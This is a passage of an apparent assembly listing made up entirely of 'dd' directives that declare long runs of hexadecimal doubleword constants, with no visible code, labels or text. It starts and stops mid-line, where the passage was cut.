0C4B525B6h, 0AB6F4090h, 0FC9AE93Fh dd 642B0012h, 0A0FFC425h, 13263154h, 1DEB38CCh, 9DB71148h dd 3927D800h, 4C641845h, 92CB20F5h, 701DC007h, 631CA16Fh dd 58EDC04h, 1CD1EE3Ah, 94280DB8h, 72A44A80h, 0E21342FBh dd 509789B7h, 1198682h, 0C00594AAh, 6F1399B3h, 8C04CC9Fh dd 3CD722C5h, 0B839B420h, 0AECB0581h, 98139DE5h, 8B00161Ch dd 7D48FFD1h, 0DFB209h, 0B6868501h, 426E0403h, 649B827Ah dd 532DFA01h, 6463EEA2h, 6480FC89h, 6B3F598h, 0B430464Eh dd 588E437Dh, 0E8846480h, 298C8A88h, 71593841h, 95003918h dd 1B842944h, 117165Bh, 0FA91E2DBh, 715ED91Fh, 3C49DDE4h dd 9EF80928h, 90B0946Ah, 0E07300E4h, 3BF6210Bh, 5499AEF5h dd 562AAC00h, 0E2E59DA3h, 83C8A06Bh, 0D99900B4h, 0BD2DEC14h dd 0D2027453h, 0F9029657h, 53A45B8Fh, 9818ADF2h, 0B177D89h dd 0A4A0B1C6h, 19657039h, 29F8DCC4h, 402859FBh, 5EDB7AB6h dd 1B683902h, 40A335E6h, 61268124h, 411EE11Ch, 0CD94435Ah dd 0E18480DCh, 342AFDA3h, 950A4C4h, 43268138h, 0A28304D7h dd 4CBCCC45h, 427880E8h, 0E2E44250h, 2EE83378h, 81396CF2h dd 0E7970966h, 4A6800D7h, 3DBC8AA5h, 9F921B85h, 0A6F0806Fh dd 74198BDFh, 0C5681AA1h, 59073872h, 90B52654h, 35CB0C8Fh dd 5C56E200h, 0F0320177h, 6F741760h, 8324490Bh, 60D87404h dd 98522E07h, 73CA738h, 602DF25Fh, 0E98527B0h, 5D40902h dd 84ADA21Ah, 0B8B4C780h, 2D0C0574h, 88698B50h, 4F004ABCh dd 0B07A76B5h, 0A02781F0h, 0F0E13F3Ch, 5A97C9Fh, 0AB276D6h dd 59C9006h, 8460C7ADh, 22C23F59h, 793B0103h, 1790A9C9h dd 381039C6h, 0C1338021h, 0C312BAD6h, 5180086h, 23D385C6h dd 3C9CB1BCh, 27C50h, 0D4B79D7Eh, 2EC9C58Bh, 0B0BAFA13h dd 0B9C834CBh, 0A182E6C0h, 959C2425h, 0CF8C2610h, 0C75DD0E1h dd 10F98028h, 4138FB4Ch, 491B09F8h, 18ED0D3Ah, 7180714Fh dd 7D95AB1Ch, 17A21E12h, 0FA36401h, 83F5EA6Dh, 420A5820h dd 1D923C7h, 0A2552DF8h, 8074339Eh, 0C52DE316h, 0ADF83089h dd 8CD83560h, 3505E8C9h, 87729184h, 0E021B234h, 0E7301B25h dd 94A4C6h, 95DC5016h, 1483335Bh, 0A83DA404h, 0CCEF6BAh dd 36ACF5C4h, 2CCF00D4h, 235FADDFh, 6D3BD1CDh, 27EF0460h dd 0A8B2F874h, 0F933B5E2h, 0A9C4C38Fh, 39220FCDh, 0D140E953h dd 4AF5970Bh, 1304BDF0h, 5509F4AEh, 2DF6CCD0h, 953500C3h dd 304F0D9Eh, 914BA629h, 0BDE9F800h, 1DA0A1C9h, 0E42212FBh dd 0EB191B4h, 204B65DFh, 5930AFF2h, 9D110073h, 86A1C8F4h dd 0D74D42B8h, 0C51AC9F8h, 0ACEBC244h, 0FEB218h, 1A903D52h dd 0CDF6E81Eh, 0FDF9A21Dh, 609ECA42h, 0E908CBAEh, 0A838551Ch dd 5201AF23h, 69FC06DCh, 0A831344Ah, 0E437B588h, 0E2054021h dd 5147A617h, 10B581BEh, 97A822B9h, 55BE8020h, 0F9262CDDh dd 1B98C0ACh, 21244C58h, 0AEC0A4E1h, 2D25B23Fh, 0BC145615h dd 3F676B01h, 973E99FAh, 0B071C7D8h, 0E22C019Ch, 0CA2AFC4Dh dd 9F8080A2h, 0E329806Ch, 209B50BEh, 0D97B0323h, 0B22A3FBBh dd 18ACB6A8h, 0DF01A372h, 21297A79h, 3CE767ADh, 0E6272759h dd 0B2116417h, 635DF880h, 0A1288627h, 762CF085h, 1799801Dh dd 0B6F04CCAh, 0DA100056h, 0FE6177E1h, 250045BDh, 96FA4784h dd 0B01B7F6Fh, 0DC50A22Ch, 0C00C13D2h, 340DA268h, 81588F5Ch dd 0AB9AD441h, 0AAD01888h, 7888D813h, 6C90029h, 118FE7FFh dd 0E20046C1h, 0CF4F01FEh, 0B819BF22h, 0FBA90200h, 23B9126h dd 0B288CE8h, 34B6CC22h, 0E3687713h, 3078A228h, 35003AC9h dd 0DEEEA932h, 0A8D66081h, 30DDA8ACh, 0BC68BBABh, 0E22DB14Eh dd 8BAC27A0h, 57A49E80h, 514900F6h, 0D198BEC2h, 211D54ABh dd 85430C5Eh, 0E51F78D2h, 28028B0h, 993A53E6h, 7C6D891Ch dd 296A39E0h, 0A086001Bh, 0A42E3FEFh, 986E3445h, 0C18462A8h dd 40FCA18Dh, 55C83025h, 1B71C4Bh, 2AF6403Fh, 0A27CB1DEh dd 4C988516h, 0BA235C2Fh, 506CEF00h, 92CF9F1Bh, 5EB0BC4Ch dd 573FB746h, 5926D780h, 0ED0F36Ah, 172D1676h, 2E6854FBh dd 34350584h, 0B28CA3B9h, 20493124h, 0C492FE8Bh, 0DD6078BEh dd 2705AC85h, 0E498CBE9h, 58002911h, 3B72D938h, 0B9EE987Ah dd 0F0AF0374h, 8A07CD8h, 75059F82h, 0B30928E9h, 18AD44C3h dd 0E9B89B20h, 400FF59h, 8A91E3C8h, 179FE56h, 710970CEh dd 6DE2738Bh, 461E04B8h, 0BEC1B8CCh, 7CF84AEBh, 0F39900B6h dd 89BAD8EDh, 0C7247B57h, 0DE831823h, 0A071CC86h, 7CB91EABh dd 559B3450h, 389C8988h, 244D8010h, 222DB7h, 1051CE5Fh dd 19DE422Ah, 8002E24Bh, 0A423021Eh, 0CF0DD9Ch, 123A1624h dd 7B50DCC8h, 51F22B1Ah, 91BCEE18h, 18F071E4h, 5074B7h dd 2E0F0327h, 3534D2E3h, 97523104h, 38C01C57h, 9CDD5625h dd 0E8E504D0h, 0B180D87Bh, 99AFEF08h, 44C7C43Ch, 5180D9F1h dd 31B3F3EAh, 8EC0A528h, 800822A4h, 0DD549DA9h, 98018EF5h dd 0DA2109BBh, 0DC40AA7Ch, 2083A4Ah, 97B076B1h, 704A28C1h dd 0EA8D043h, 0B2FC7917h, 4C06C0B9h, 91AFC9h, 0E1C84A4Dh dd 25067D1Dh, 0DBCC660Fh, 0DF72002Fh, 9F0549h, 0AB63A1C1h dd 867F524Ah, 0D1B94F1Fh, 0B589351Dh, 0CDE08B65h, 5A78C0ECh dd 7A50A796h, 0AA02DCFFh, 0F242FBE2h, 4BE894BBh, 75F0409Bh dd 0A232D89Eh, 0A6EC3Fh, 0F4AB4C7Bh, 0F64226h, 913134BCh dd 35A1E005h, 12F8744Dh, 84C82B81h, 19686025h, 70E42816h dd 7F443096h, 0A4B83CADh, 2E979900h, 159F0F62h, 9440005Eh dd 139D705h, 707A88F5h, 228CFE12h, 94A29D0Bh, 2745F20Ch dd 0B416BB50h, 0D7E04887h, 4C05E235h, 84C5C4DFh, 0C6DFC098h dd 0C3000A82h, 3FBB2A6h, 16C702CDh, 8B22728Fh, 0C0F288C0h dd 5DF3E4BFh, 0F0102914h dd 0BDA010BCh, 0B3DD0512h, 97D925BCh, 80949110h, 403B87CBh dd 5627169Eh, 0F74CE015h, 5F61AA01h, 767ED889h, 28806370h dd 0EEEC4F1Fh, 0B05FF4h, 62F3DC98h, 3448BF59h, 0F804C35Ch dd 6CBD9CA6h, 0B46876C9h, 6D75EB0Bh, 9E2BB91Fh, 0DE4B2DC0h dd 9FA9112h, 8A484301h, 0B6AAA8C8h, 2697AF80h, 951806F7h dd 0AD8E8076h, 0C9FDAC87h, 5A60EC38h, 81DAF104h, 0C4D46E2Dh dd 4E08E080h, 0D44F5C20h, 9271F4C0h, 0EBEC683Bh, 6A1CE300h dd 4A0FA622h, 7C5509B5h, 7802F2B8h, 0C7028026h, 0EA004817h dd 5EA80F91h, 0DF60E670h, 76E2A043h, 4B9DB0Bh, 780869B0h dd 6A035C62h, 0FD56D02Bh, 0CB2B80A4h, 65000E3Ah, 6F4D7501h dd 1B628D6h, 0F27416A7h, 7D27B23Ch, 504A802Ch, 28C54E2Ah dd 2C76D0h, 8D390BA6h, 0BD06C7C2h, 853D0500h, 2D9AAC6h dd 934000C3h, 54B2797Ch, 682A8BB9h, 55FC80A7h, 89043499h dd 0E0F7DFD1h, 26E16052h, 0CFA0CADh, 0A2C93323h, 5605F259h dd 4488A6CCh, 0CD92FFC0h, 0D84200F0h, 8AFC5BFEh, 46019C10h dd 0AEACB94h, 0D8236808h, 0E2204D02h, 0E4507731h, 465C4CB4h dd 4C5E0091h, 1AC1693h, 4C3E876h, 580DA292h, 6E38888Eh dd 8994B84Ch, 0C7E80BDFh, 81514EA8h, 8CCBF7DDh, 9E9FDC0h dd 0C798B622h, 13DF4048h, 5779050Bh, 0AE3881D0h, 80721B32h dd 0CACF2F1h, 402800C4h, 9E70803h, 5C4D2590h, 0BC3C49C4h dd 6DDF0088h, 78D2E02Eh, 51771A3h, 0E8CB42F5h, 31802684h dd 6DD0919Eh, 9A75FCA9h, 5E10430h, 0C4359DFEh, 81B0023Eh dd 8CA0BD3Eh, 515CDC75h, 0A079F12Fh, 1A26BAB4h, 0B3EE00DFh dd 6F8D62D8h, 450724B4h, 0D53B577Dh, 0E4848545h, 0BBF2F0A2h dd 128D1438h, 0E402C5h, 7526C0D8h, 1A17FB56h, 9044CA3Ah dd 4CB1C425h, 7E4C2F2Bh, 0FB49048Ch, 0E851A486h, 6F960BD4h dd 4CC46087h, 948849C2h, 5784D838h, 80630516h, 0A2100F29h dd 0C5F95201h, 8141AC86h, 29DEA441h, 0D4644831h, 0A080521Eh dd 8F67F009h, 25C10404h, 59C0DC9Ah, 34D3A08Ch, 24032B80h dd 4060E285h, 0C5AEAB8Dh, 0FC1E4A7Eh, 88306A12h, 0FD6F99ADh dd 0C4781F3Bh, 0B8064CA4h, 3D059E18h, 0FC001768h, 0B1970FBh dd 0BC722EF8h, 86410014h, 0D5C7CB93h, 427DE625h, 0C4654038h dd 0A8D0544Fh, 0DFA70EE8h, 7827EE02h, 8CC8FC82h, 20E4DD15h dd 1B20684h, 0BC31BD2Eh, 26180888h, 58782400h, 998E6AAh dd 29881B69h, 0C1330C20h, 7E5DE8E4h, 0EFB287BCh, 0C4D89927h dd 0DACE42A1h, 2FB661EFh, 947C4331h, 4DAE5480h, 30010E35h dd 2998915Eh, 0C0FAF986h, 5C820688h, 1E82A031h, 0C0A0E934h dd 0DA38443h, 0BC81784Fh, 0D5F49DB1h, 1AFCA948h, 0F0B8A878h dd 0BF1EAC43h, 4CB942F8h, 8CAFC3A1h, 0DDCBF9A0h, 0A4009ABAh dd 0B82273BDh, 76EC37h, 0B314D7DCh, 0B667F80Dh, 9ED07850h dd 0D25C20h, 37097FE7h, 0A22B7E48h, 200C8BEh, 1AC76449h dd 0FCE9004Fh, 0A629FFE8h, 0BF090568h, 0D08F8642h, 300A7A0Ch dd 87585279h, 9B1FFFDEh, 5C48AABh, 20B942F6h, 5E04D4ACh dd 38339F97h, 40CD2CB4h, 144976EBh, 0A1E05320h, 0E50CACF2h dd 0D9EACF26h, 1E9EE601h, 51921905h, 0FF70A49Bh, 3B00B8EAh dd 0C06450DAh, 67CD1Ch, 1E413243h, 3F398004h, 0BBC89795h dd 0E580AD21h, 2D2F0895h, 9C4A00C3h, 91ED05ABh, 2E30F7FFh dd 6CACF025h, 736D0A19h, 3C8BA71h, 7CEC041Fh, 722897A8h dd 81B65127h, 0BD403580h, 9318B43Dh, 6F8E5446h, 0DDEC54F2h dd 20A4EB30h, 792858E8h, 207453F0h, 9BD1F482h, 14014118h dd 8340ACC1h, 0E16B1D05h, 0B0DCF61Ah, 29A574h, 2E08DEE1h dd 8A3759E9h, 254055Ch, 28B39F8h, 64E4B0h, 6A444C86h, 348241A3h dd 7582F0BEh, 56C8BE97h, 51F85E0h, 0E318828Ch, 173FB430h dd 384525D8h, 65386924h, 58007D3Fh, 0C610D774h, 9492992h dd 5B9799ABh, 0CC703C29h, 56438A04h, 0F8851E25h, 0FEA66204h dd 767C74C0h, 0A34100DBh, 0C554B6A8h, 99C2B4A4h, 79E7674Fh dd 68890BBCh, 99329CE6h, 0F1E618D8h, 18A3714Ch, 0AC445C97h dd 8EDAED16h, 0C073C8ACh, 0A1BF94B7h, 0FFA7B103h, 0CB407B88h dd 5E84B0A3h, 52122705h, 0A5E77C63h, 0F004F628h, 1A1B16h dd 0BFC36C81h, 0EBB77577h, 1EC47C09h, 0DF4720Bh, 86021A05h dd 0E0EEE970h, 0F204AFD6h, 1290740Eh, 0D4EBCC0h, 0A7AC9C73h dd 0CC0168B7h, 0F2A7402Fh, 137FCDFCh, 0F4C23008h, 0A2036284h dd 0ADD7BDF8h, 94F2D1D1h, 12403EC0h, 40511123h, 0C2016680h dd 8717D449h, 0D81452E4h, 0AD85802h, 90212C81h, 4A2494A6h dd 8B0F9426h, 49AA935h, 0C806EF4h, 481D5633h, 0FA402C24h dd 181E31C5h, 807EC738h, 0E3A3FB91h, 0BE9ADE8Eh, 724674F0h dd 5AA4BA00h, 4F74B02Fh, 0AC89B44Bh, 3E42E0h, 0D1274CD0h dd 0D8DE16B2h, 0DD9A5309h, 4904501Fh, 810BE458h, 24C04760h dd 76166CA0h, 0EB0EDAEAh, 0F2B92912h, 0AD542024h, 20D1A312h dd 17A60888h, 0D0341F77h, 517316DCh, 0A685CA2Ch, 0ABB93309h dd 0E22045C0h, 0D418ACF0h, 34071338h, 0C89C1CA2h, 89059AE7h dd 28D27F74h, 0E4146546h, 80BA62B5h, 4C999085h, 93DD31A4h dd 0A7739BE1h, 44F8C758h, 5BF760B5h, 0BC1313B4h, 0E22400F3h dd 0FB35968Eh, 4F181848h, 5488F456h, 0A56300D2h, 0CE4409Dh dd 32FEDA2Ch, 0FB65E617h, 3F914C8h, 0B10A7D37h, 2DA82940h dd 81002FFCh, 6F65A6B0h, 2AB8AE13h, 0BEA0DE79h, 5503DCB8h dd 9104BE77h, 8922C003h, 0A9E061A3h, 0EAF9F4A5h, 68DF6C40h dd 0E1D0F003h, 0A06146CBh, 0A4A32B29h, 4144A9D0h, 235C2E2Eh dd 25B02A6Bh, 0FC81860Ch, 0A1023Ah, 9919FA0h, 221B9028h dd 0C3589053h, 0B6070FB8h, 0A4446372h, 0F220E287h, 0E1A43017h dd 0EA22081Ch, 68C0591Ch, 3FC731BFh, 9BC312F5h, 0F218852Fh dd 33C7F218h, 0B7B212B0h, 0F6D2B900h, 1338AEDAh, 5AA67934h dd 7F24921Dh, 12EFB530h, 8BDC99B3h, 0DDCD0384h, 78649CEFh dd 0D0FF4E02h, 0E42FB70h, 0CC24D0BCh, 4F7AD200h, 7FCA822Dh dd 0C5814F12h, 9108F17Ch, 0D7807978h, 0C99ADEFh, 0F3C08942h dd 0D2CFEFDFh, 20060910h, 0EA435BC2h, 2BC8ECA7h, 78E60C41h dd 8CB2B830h, 67FC7900h, 81825132h, 80DC942Dh, 0B03384A0h dd 0BD0A0A6Eh, 9CF810FFh, 1B2465Eh, 0C62F018Ah, 0FC6DF809h dd 0F500C1ACh, 99D3A385h, 0F25DD9h, 39108158h, 0D81EFF9Ah dd 16503CB8h, 3D72A85Ch, 2800915Bh, 0A20176F0h, 41F90958h dd 0AC1DA6A1h, 0FB807311h, 340512A2h, 240F4BFEh, 0D7DDA364h dd 1D81F0C0h, 2C947793h, 5E4842D3h, 80802521h, 7BC1DCEBh dd 854BCE1Bh, 0D9883809h, 18197930h, 475C0141h, 4F679912h dd 3FDC7005h, 8B977702h, 0F69A1F7Ah, 0CB9D935Ch, 0C7B5C82Ch dd 88EF1007h, 7600E75Dh, 90360ADCh, 9C8C2045h, 0ADFC76CCh dd 0B6F13A86h, 91FB9805h, 12B8A93Bh, 0C5F011A2h, 89409CFFh dd 70D92A81h, 1096B49Fh, 0B5F294B2h, 547630h, 6016C0FAh dd 91DC7AB0h, 0F2D100B1h, 0BF3AF318h, 36CF8A12h, 9500B839h dd 6D8B40EEh, 3F089253h, 5F810273h, 30D21EBEh, 49B3717Dh dd 889C0EECh, 7DBFC024h, 7F549973h, 82253F98h, 0EE10B02Dh dd 0BFB204C8h, 9B6CC77Fh, 0B736C02Ch, 1084FE59h, 32522FFh dd 0D1913787h, 594F019h, 8BB84EDCh, 0C0B2C82Ch, 807A5E69h dd 4C234F1Dh dd 652AA300h, 26981FD2h, 42B8AEFEh, 5803B012h, 0E64126B3h dd 0A3465E4Ch, 5F1A802h, 0A4640A1Ah, 0BEB82883h, 7D02FC22h dd 419B6F2Ah, 0E094EDE9h, 89188A34h, 1330774Ch, 2C82383Dh dd 8170569Bh, 0A1AD5D07h, 860DEC83h, 0A2895B00h, 0A3472F26h dd 0D3CC3D23h, 0D4608189h, 971E8040h, 1680A9C0h, 9DFD3241h dd 3C79C04h, 8010DCADh, 5C69021h, 7488BCEEh, 0FCCCD4D7h dd 30DEBDACh, 44050203h, 0C23607CCh, 0D700B0BDh, 41D50B32h dd 0CB3A344Bh, 612500D6h, 0C592E57Fh, 75950188h, 0B62099EFh dd 96DC688Eh, 1EE180F6h, 582F3EB6h, 1900BB23h, 65121DA8h dd 0DB761FF1h, 0C3CD0B5Ch, 3DF86D88h, 508B4725h, 0B8E438E5h dd 69E28D60h, 0D60718B2h, 0EDCAE4BBh, 0D887FFABh, 2781A028h dd 13003231h, 0D8A3912Ch, 9DE8C58h, 0F621EE25h, 0AA42E4E0h dd 0F4F894h, 0AB08497Fh, 0B62AFBC1h, 1608AF4Dh, 3CE61B42h dd 1A0650B7h, 49CF563Eh, 988E173Fh, 30826B84h, 1783A40Fh dd 402A2B29h, 484F6698h, 98B14357h, 86827478h, 0EBB2131Ch dd 3C430401h, 97F0CBD2h, 0F965BF7h, 0D165ADD0h, 4F8C012h dd 7C914C29h, 1618B879h, 314E280Ch, 19FE481Ah, 6036BAF7h dd 0C33874FCh, 1CAD3C26h, 9033F940h, 0B584B035h, 46B9101Dh dd 7C590602h, 5240404Fh, 912F8470h, 4188251Bh, 491F986Eh dd 13D2019Fh, 6062FCF2h, 0D1F51B8Ch, 0C3A070F9h, 0C98CA830h dd 347205E0h, 0C6708249h, 800B19BCh, 0C8593A43h, 5BF7B730h dd 41A8804Ah, 344ADDEEh, 325688C0h, 0DB1B5A90h, 3DB98268h dd 0FCF2E2h, 0E119E75Ah, 0F39C556Ch, 80E3D438h, 81E242A3h dd 2DF8C675h, 0F445EE05h, 2E6074E4h, 0D8A09CCBh, 0B1016004h dd 0FF9773E2h, 0D882291Eh, 0C6614F4Ah, 0FD80B0D1h, 6DAD740Eh dd 0D11899DEh, 4E18B9h, 99839A1Ah, 67C36359h, 0AFA62B17h dd 78B130B3h, 530C82h, 19159BCh, 0F8A39449h, 817C4503h dd 7EEC81Dh, 0FB16C2B0h, 0C07929A9h, 8F18B679h, 64A80A00h dd 4BFE7AC9h, 0E1AF2650h, 1018289Ch, 0FBCDE12h, 0D2280DA8h dd 0BC50A0B8h, 0CB671717h, 89E8E469h, 3E13640h, 5303EDA3h dd 0D8C3EA6Dh, 92E4EBB8h, 313271F6h, 0E0AF5054h, 79A2332Ch dd 4E800CB6h, 0E6582703h, 514064ADh, 0B4B5BA5h, 4A32A4F9h dd 0FF06D48Bh, 0BC25A489h, 9F585040h, 5B80A835h, 9F1C31A0h dd 0B724183h, 0C0B68824h, 60326416h, 63B4DC01h, 23476F51h dd 0BEE44820h, 0B4F8E0Ch, 0C07C2087h, 9CB2B3B0h, 3F763D03h dd 0F08B85FDh, 3EE693A4h, 0ABA845A3h, 0D4DE48C8h, 0C7D5240Ah dd 5FD109C0h, 275DD400h, 0F05F599Eh, 336FCC80h, 9B105ECDh dd 73BFC094h, 0DAAF7Fh, 0D3754348h, 81E3C253h, 784C70B0h dd 2DD78128h, 8245FBEh, 73A31326h, 2F744B25h, 311E1CC1h dd 2A007131h, 0F023FC2Fh, 0AB2CC401h, 8C608A07h, 75B440BAh dd 4A20126h, 0B4B971Ch, 2F545074h, 0A868D586h, 9CBAAA8Dh dd 0C0C86D95h, 0FAD1B164h, 414E2000h, 59CC70DBh, 0EC0501CAh dd 0C5351739h, 38E9F53Ch, 8CA3ECE0h, 5AF0203h, 19ECE1Ah dd 4ADD9AD8h, 60B5C2EBh, 5A4A9B50h, 0B223943Eh, 4D302300h dd 0B9954E29h, 24391154h, 474080A0h, 25C315h, 626A7445h dd 5C859CDCh, 19499602h, 80A3C4B9h, 0DE05E23Ch, 6F7305AEh dd 86787C9Ch, 38AD49D8h, 4BAB79E0h, 67880B06h, 78F1F9E9h dd 816DD30Eh, 0FD86AC17h, 0F384DD8h, 25C75ADEh, 84A00190h dd 0DF5818E9h, 2DD35070h, 0C412A272h, 89D80057h, 91980ACDh dd 59730114h, 69BF3697h, 1C9AD6ACh, 0C90BC580h, 73131895h dd 0E0006E05h, 16C1ECFDh, 27340941h, 0E441F0C6h, 0F8542839h dd 9A0F8CB6h, 0BD32255Ah, 126DD7h, 0C28D4B5h, 0C830E6BDh dd 0DF220096h, 993C66A0h, 34CFB9Fh, 0B1047754h, 0C87ED8F0h dd 77528EDh, 0D182DA6Dh, 3A0ED030h, 0AE00CC8Eh, 9329738Bh dd 2C3B108h, 7CB0F5D0h, 98D1E4F0h, 6A18B571h, 0C7674400h dd 0C486468Ah, 0D1454EA2h, 2F399BBCh, 6DAEC81Ch, 5152DE00h dd 4B42FB82h, 0F5A004B2h, 0B830E98Eh, 45680014h, 0D7F6F7AEh dd 0B79791DCh, 178038A8h, 2F01767Bh, 0FB5A9D9Ch, 0E6D57809h dd 3CB5BD14h, 27E3AB01h, 6B6EE4DCh, 0CA8405C4h, 44EDC72Bh dd 0B9796400h, 97749245h, 9A8D560Eh, 0FDB48052h, 0B4F4131h dd 0B8F70A7Bh, 0D346BC44h, 772E060Fh, 8C45CECBh, 2DF16080h dd 3AFD0A5Ah, 0BDA01373h, 0D0E495h, 0B5689D30h, 709CAD52h dd 0CC2BA230h, 985B1F1h, 0D3B990BEh, 0CCE20C45h, 0B672187Fh dd 0DBD18B16h, 0ECC120C0h, 0C53002B7h, 3B5B844Eh, 0EA800C74h dd 0FF49D1EEh, 2548E60Ch, 0E0487AB1h, 0CF260835h, 0A00880DFh dd 26899CB4h, 0EC524178h, 0C6B6BE4h, 0F6E66C00h, 0F0950A2h dd 0C3D07412h, 73C814DAh, 0D09834E0h, 0CE850161h, 3DA1CD2Ch dd 0FC802F84h, 14C82E16h, 0E93594EFh, 3C89957Ch, 0C0582C7Bh dd 0C5D403CBh, 86B39776h, 8F699EAh, 0E868880Bh, 0EAC82D9Ch dd 6AF91EEBh, 0A62507D2h, 6128ECC1h, 844C3826h, 12B5465Eh dd 0C5006949h, 0C4F7C7Bh, 0D3220047h, 982F3313h, 0F612D23Dh dd 0B8207AADh, 2A6E23h, 4DA45B17h, 0A02C85Fh, 0C48DB209h dd 0EF7C85AAh, 520068FCh, 0C5435EAFh, 0EA4B959Ah, 369B7C91h dd 0F202282Dh, 8A85C40Bh, 0F578A0F9h, 7A0086ACh, 24CC61C2h dd 50C354FDh, 2A354D4h, 9D494FD8h, 0C85EA2ADh, 0B194674h dd 8535A699h, 1CB1B98Bh, 0EB88540Bh, 0D0C440C3h, 17ABF481h dd 56CC84Ah, 0E55516C0h, 0C4387870h, 0B8869465h, 0C3B00B58h dd 680F4Eh, 0E1C0AF28h, 5B92E5F0h, 4700B6B1h, 0AC3A0505h dd 0DA2F09C8h, 0E4A0E57Eh, 2BC067F5h, 0E41A3F12h, 9918053Dh dd 26D2FFh, 8C3897DCh, 41955976h, 6B2F4648h, 668D00B0h dd 0D99618A8h, 0DF7900C9h, 8128A40Dh, 9709991Dh, 220466FFh dd 0E789A514h, 0AD174228h, 3040C18h, 6D05D887h, 20A8C894h dd 835BA44Bh, 50DE0822h, 0B7BF6Ch, 0CD67961Fh, 67F564C4h dd 55A0B571h, 3A426FC0h, 0FB149985h, 773C8022h, 0C08CDADEh dd 0CD383E48h, 9751021Bh, 3D9E2792h, 0A4005474h, 44F802Dh dd 0CBF212C1h, 1030D217h, 0EDA7A076h, 0A4FD6054h, 16013C12h dd 45A38419h, 9B018794h, 0F2D87351h, 0DEE43091h, 0EE29B400h dd 0C1D0E058h, 0D1F2571h, 0C308A0A1h, 0C0805756h, 62F51BE7h dd 2943A709h, 79F8F1E1h, 0A11D18A3h, 232A2CBDh, 87BA0DA8h dd 0B48AA310h, 0F906DC6Ch, 2C7D68FEh, 6C045CB6h, 0C482B27h dd 0E03345A8h, 0E429688Dh, 0E604A0BDh, 0A85D8C91h, 4371BCACh dd 0A14D0182h, 7EA56F10h, 0F0473030h, 0F2EC4A25h, 5B740000h dd 8752AD93h, 948B0715h, 82549968h, 0A480513Fh, 452F2A01h dd 1284C63Ah, 38BCA54Eh, 0DC876F25h, 518C5689h, 66DF2D01h dd 18CED6DEh, 0FC31BBF1h, 0C28C9B3Ah, 8B5D589Dh, 7B3C4AD5h dd 72807338h, 0BC2C0FA3h, 5E69DC34h, 181360D4h, 0F700A4BEh dd 363EFF1Ah, 13509914h, 133B2892h, 3C20801Ah, 0F9038B61h dd 67DD9BE0h, 34E5E4BDh, 1D8F29FEh, 0C8A2FDE9h, 2C785D4Eh dd 26817F0Ah, 8AED082h, 826B215Eh, 19C8B086h, 6A654869h dd 6CB53300h, 0D17EB604h, 0AD30D71Dh, 0DA696BDh, 0F8E2DCC7h dd 0C3D0C826h, 1F51C0A0h, 9BC52885h, 206EE245h, 51363F64h dd 967E1807h, 4940B79Bh, 3FB5A3Ah, 6346FFD4h, 0EBBF75D0h dd 606B5490h, 5542B700h dd 43680A09h, 4CB5A1Dh, 4237DD88h, 741FAAD0h, 0C500F490h dd 0B3D0258h, 619009h, 8C16C8A3h, 0FF93C0E8h, 1986F713h dd 271E98F0h, 64010C34h, 2DC17E08h, 72C00E94h, 20A82F4Dh dd 0B901767Fh, 0A550A3Dh, 50D83144h, 0B484B468h, 7446564Ch dd 0C08AB00Fh, 0D814A221h, 9138F001h, 85DDA301h, 1643678Fh dd 0A9A0096Bh, 1F61D00Eh, 10C49BF9h, 7A963Eh, 29B0F040h dd 42C012B2h, 8EE9F00h, 90C68ECAh, 7237E73h, 25B4D015h dd 0F81244Eh, 0DFE883FEh, 0C547DA49h, 6091E474h, 0C723CCh dd 98772649h, 97646F3Eh, 84F4C13Bh, 4C2E9242h, 0B3AC18A9h dd 0B65A2E01h, 51E6FC18h, 2F3EA831h, 722358h, 748B4929h dd 6017E006h, 98178497h, 0FA1614A4h, 0DE9D0530h, 0AC694CADh dd 700A0BB4h, 0BD4C706Bh, 0B07B037h, 0CA4029ECh, 24C9A4Bh dd 0EEEF9F3Dh, 8454E4D2h, 0B3B51680h, 76D4ED2Bh, 4908073Eh dd 30AB25F0h, 0E2943467h, 20554300h, 538AFE4Fh, 0C0805EC9h dd 93280E48h, 12243205h, 54BD7FE2h, 50B45C10h, 9003020h dd 0DB759C18h, 1AA4952Dh, 20A8B00Dh, 47C000EDh, 8A6E04h dd 0BB88BFEh, 1A9EF797h, 0A919EB80h, 3C781FCCh, 38CB2BCh dd 0EC18B976h, 0E3E4B659h, 0ACF5E1E4h, 993E380Ch, 6A3D0077h dd 6F816469h, 12D8B653h, 129CECA7h, 0F8B72123h, 5089AEA0h dd 13FE4100h, 83550D9Eh, 0BC1DBDF7h, 6580EB11h, 7DBABF2Fh dd 0EA15E02Dh, 795059B4h, 0B8B6186Bh, 8268B648h, 0BE6242FBh dd 2A651040h, 0BA33DE16h, 0A4C81C8Bh, 0A085E1C1h, 2E7C1C6Dh dd 204E3Ah, 3DD898F7h, 707E8E8Bh, 5304F04h, 389A9E54h dd 75C0F0C8h, 36CA9Eh, 19ED9134h, 0FD0C3A9Ch, 82EF74Fh dd 7E00B523h, 0B9D46F0Eh, 0B99000Fh, 4C5819Ah, 91BFA2F2h dd 56201708h, 0C9F00055h, 0CC2B01ECh, 0CE09E630h, 20F9C4B2h dd 195B7C50h, 0DC209C4Ch, 37747B7Fh, 0A8E40101h, 9F66636Fh dd 74A27033h, 51F230h, 0C62D090h, 5CFCE2D1h, 8B82A50h dd 0F0143B25h, 75810940h, 6C980D8Ah, 0D92D204Ch, 6C581056h dd 0B049003Ah, 0AE1A0499h, 0BA001CF6h, 109AA9A4h, 0F239E5h dd 764E7ED8h, 8925471Bh, 0C17A7308h, 0C91F00B0h, 0B12723F1h dd 58E4964Ah, 2DFB77A9h, 5050EF97h, 0B95F3CB0h, 56F12009h dd 0EC1E6424h, 41B181BCh, 17BF59Eh, 0AEFFA498h, 349B046Bh dd 8DC2B588h, 0C6E6C085h, 753804FEh, 9013DB1Bh, 0BC6F2954h dd 83E7F5Fh, 1E00C723h, 9E20F70Eh, 0C1A02569h, 2200B45Ah dd 0D30AD93Bh, 3C44676Dh, 0D881C006h, 9089F62Dh, 0CC822B91h dd 17AE22B2h, 10E4C0E9h, 5B6F6E2h, 86680D99h, 4EC8F064h dd 5C54692Ch, 8CE2E716h, 618FDE09h, 1708489Dh, 18A963ADh dd 0FFD9FB88h, 2D13CB7Fh, 3420C61Ch, 0EEBDBCh, 0C1B3B613h dd 0A98309C0h, 0B88E3A07h, 6111B5E7h, 0E04D4341h, 23EC2F3Eh dd 7FA900C8h, 994B6582h, 0BD0F9F0Ch, 0B88FF010h, 0A60A1768h dd 1AA100D8h, 0CD36C245h, 1CD0765Fh, 20889Ah, 0E36FD2B8h dd 0C03A9508h, 3A9A002h, 48E277ACh, 45761BE4h, 0B05026AFh dd 12346E81h, 4A39BCFh, 